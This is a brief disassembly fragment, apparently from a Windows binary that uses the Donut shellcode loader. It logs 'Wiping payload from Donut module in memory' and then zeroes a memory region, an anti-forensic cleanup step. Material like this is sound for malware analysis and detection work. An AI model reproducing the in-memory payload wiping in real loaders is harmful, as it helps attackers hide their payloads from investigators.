lea rdx, str.Wiping_payload_from_Donut_module_in_memory.
mov rcx, rax
call fcn.140011a10
mov rax, qword [rsp + 0x868]
mov r8d, dword [rax + 0x524]
xor edx, edx
mov rcx, qword [rsp + 0x108]
call fcn.140013170
add rsp, 0x848
pop rdi
pop rsi
ret